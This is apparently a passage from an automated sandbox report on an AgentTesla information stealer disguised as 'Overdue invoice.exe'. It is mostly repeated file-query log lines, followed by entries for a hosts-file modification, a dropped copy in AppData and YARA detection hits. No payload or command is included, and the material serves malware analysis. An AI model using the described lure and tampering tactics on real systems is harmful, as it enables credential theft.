Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Users\user\Desktop\Overdue invoice.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Overdue invoice.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Overdue invoice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\Desktop\Overdue invoice.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 16.2.yqWDN.exe.3de2e78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.yqWDN.exe.3de2e78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.yqWDN.exe.3e72e78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.yqWDN.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Overdue invoice.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.yqWDN.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Overdue invoice.exe.3ac2e78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.Overdue invoice.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.yqWDN.exe.3e72e78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.yqWDN.exe.3d8e3f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.yqWDN.exe.3cfe3f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Overdue invoice.exe.39de3f8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000000.366458580.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294988702.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.295945880.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.366994504.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.295465407.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294210578.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.378013888.0000000003CEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
